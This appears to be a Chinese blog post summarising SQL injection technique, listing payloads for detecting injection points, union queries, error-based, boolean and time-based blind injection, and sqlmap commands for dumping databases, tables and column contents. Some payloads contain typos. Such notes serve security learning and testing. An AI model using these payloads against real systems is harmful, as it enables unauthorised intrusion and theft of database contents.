SQL注入总结

1、工具

手工注入、sqlmap、脚本、burpsuit爆破

2、注入思路

注入点判断->注入类型判断->联合注入->报错注入->布尔盲注->时间盲注

盲注:数据库长度->数据库ASCII->表的个数->(第一个)表名的ASCII(limit)->列名的长度(limit)->列名的ASCII->此列下的字段个数->(第一个)字段的长度 ->(第一个)字段的ASCII

3、SQL注入点判断
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

(1)基本:

单引号判断1'

不管是字符型还是数字型,输入单引号后都会因为单引号不匹配而报错,如果存在注入点的话就会返回一个不同的页面或者报错

(1)数字型

由上面的语句我们可以看到对于数字型是不存在引号的

1 and 1=1      :正常返回
1 and 1=2      :错误返回或其他页面
存在数字型注入

(2)字符型

由上面的语句可以看到字符型是有引号包裹的

1 and 1=1      :正常返回
1 and 1=2      :正常返回
1' and '1'='1  :正常返回
1' and '1'='2  :错误返回或其他页面
存在字符型
4、联合查询

(1)字段个数

id = 1 order by 1直到错误回显

union是将两个查询结果合并,程序通常会展示结果的第一行,因此若左边报错右边正确的话,返回的第一行就输出的是我们需要的查询语句。

(2)显位判断

id = -1 union select 1,2,3

(3)跨库查询

union select

5、报错盲注

(1)floor(rand(0)*2)andgroup by

union select 1,count(*),concat((playload),floor(rand(0)*2)) x from information_schema.columns group by x

union select 1 from (select count(*),concat((playload limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

对于表和列需要用limit n,1限制查询结果列数,进行第一个,第二个的查询

(2)updatexml()

?id=1 and updatexml(1,concat(0x7e,(playload),0x7e),1)

(3)extratvalue()

?id=1 and extractvalue(1,concat(0x7e,(playload),0x7e),1)

6、布尔盲注
and length()>n   //长度判断

and ascii(substr((playload),n,1))>n     //ascii判断
7、时间盲注
and if((playload),sleep(n),0)
8、sqlmap

一般将数据包复制下来,将注入点用*标识

GET /api/v4.php?id=1*&page=1&limit=10 HTTP/1.1

python sqlmap.py -r 文件路径 --dbs   //数据库名
python sqlmap.py -r 文件路径 -D 数据库名 --tables  //表名
python sqlmap.py -r 文件路径 -D 数据库名 -T 表名 --columns//列名
python sqlmap.py -r 文件路径 -D 数据库名 -T 表名 --dump "列名"
//获取字段内容
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值